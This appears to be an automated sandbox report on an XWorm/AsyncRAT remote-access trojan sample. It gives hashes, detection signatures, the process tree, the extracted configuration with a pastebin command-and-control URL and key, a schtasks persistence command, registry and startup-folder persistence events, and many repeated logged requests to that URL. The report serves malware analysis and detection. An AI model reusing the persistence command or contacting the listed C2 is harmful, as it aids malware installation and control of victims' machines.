Edit tour

Windows Analysis Report
s8Z4L8DY65.exe

Overview

General Information

Sample name:	s8Z4L8DY65.exe renamed because original name is a hash value
Original sample name:	8be2e5cd5facb059eba9f06c139a5b7782a97ea06d21624f5c3a4f1f806db223.exe
Analysis ID:	1466167
MD5:	347467dc90da33e12bbad093380324bd
SHA1:	e2ece51489ea14535635f56a5cb44b413c47b7d2
SHA256:	8be2e5cd5facb059eba9f06c139a5b7782a97ea06d21624f5c3a4f1f806db223
Tags:	AsyncRATexe
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

s8Z4L8DY65.exe (PID: 672 cmdline: "C:\Users\user\Desktop\s8Z4L8DY65.exe" MD5: 347467DC90DA33E12BBAD093380324BD)

schtasks.exe (PID: 3420 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "www.kernal" /tr "C:\ProgramData\www.kernal.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

www.kernal.exe (PID: 1836 cmdline: C:\ProgramData\www.kernal.exe MD5: 347467DC90DA33E12BBAD093380324BD)

www.kernal.exe (PID: 1944 cmdline: "C:\ProgramData\www.kernal.exe" MD5: 347467DC90DA33E12BBAD093380324BD)

www.kernal.exe (PID: 1864 cmdline: "C:\ProgramData\www.kernal.exe" MD5: 347467DC90DA33E12BBAD093380324BD)

www.kernal.exe (PID: 7128 cmdline: C:\ProgramData\www.kernal.exe MD5: 347467DC90DA33E12BBAD093380324BD)

www.kernal.exe (PID: 6644 cmdline: C:\ProgramData\www.kernal.exe MD5: 347467DC90DA33E12BBAD093380324BD)

www.kernal.exe (PID: 1364 cmdline: C:\ProgramData\www.kernal.exe MD5: 347467DC90DA33E12BBAD093380324BD)

www.kernal.exe (PID: 3488 cmdline: C:\ProgramData\www.kernal.exe MD5: 347467DC90DA33E12BBAD093380324BD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": "https://pastebin.com/raw/cs6P4mHQ", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "www.MpCmdRun.exe", "Version": "XWorm V5.6"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
s8Z4L8DY65.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
s8Z4L8DY65.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8511:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x85ae:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x86c3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x802d:$cnc4: POST / HTTP/1.1

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\www.kernal.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\ProgramData\www.kernal.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8511:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x85ae:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x86c3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x802d:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8311:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x83ae:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x84c3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7e2d:$cnc4: POST / HTTP/1.1
00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x11301:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1139e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x114b3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10e1d:$cnc4: POST / HTTP/1.1
Process Memory Space: s8Z4L8DY65.exe PID: 672	JoeSecurity_XWorm	Yara detected XWorm	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.s8Z4L8DY65.exe.100000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.s8Z4L8DY65.exe.100000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8511:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x85ae:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x86c3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x802d:$cnc4: POST / HTTP/1.1
0.2.s8Z4L8DY65.exe.2434df0.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.s8Z4L8DY65.exe.2434df0.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6711:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x67ae:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x68c3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x622d:$cnc4: POST / HTTP/1.1
0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8511:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x85ae:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x86c3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x802d:$cnc4: POST / HTTP/1.1
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\www.kernal.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\s8Z4L8DY65.exe, ProcessId: 672, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\www.kernal

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\s8Z4L8DY65.exe, ProcessId: 672, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: s8Z4L8DY65.exe

Malware Configuration Extractor: Xworm {"C2 url": "https://pastebin.com/raw/cs6P4mHQ", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "www.MpCmdRun.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\www.kernal.exe

ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: s8Z4L8DY65.exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\www.kernal.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: s8Z4L8DY65.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: s8Z4L8DY65.exe	String decryptor: https://pastebin.com/raw/cs6P4mHQ
Source: s8Z4L8DY65.exe	String decryptor: <123456789>
Source: s8Z4L8DY65.exe	String decryptor: <Xwormmm>
Source: s8Z4L8DY65.exe	String decryptor: XWorm V5.6
Source: s8Z4L8DY65.exe	String decryptor: www.MpCmdRun.exe
Source: s8Z4L8DY65.exe	String decryptor: %ProgramData%
Source: s8Z4L8DY65.exe	String decryptor: www.kernal.exe

Source: s8Z4L8DY65.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.6:54801 version: TLS 1.2

Source: s8Z4L8DY65.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://pastebin.com/raw/cs6P4mHQ

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com

Yara detected Generic Downloader

Source: Yara match

File source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cs6P4mHQ HTTP/1.1Host: pastebin.com
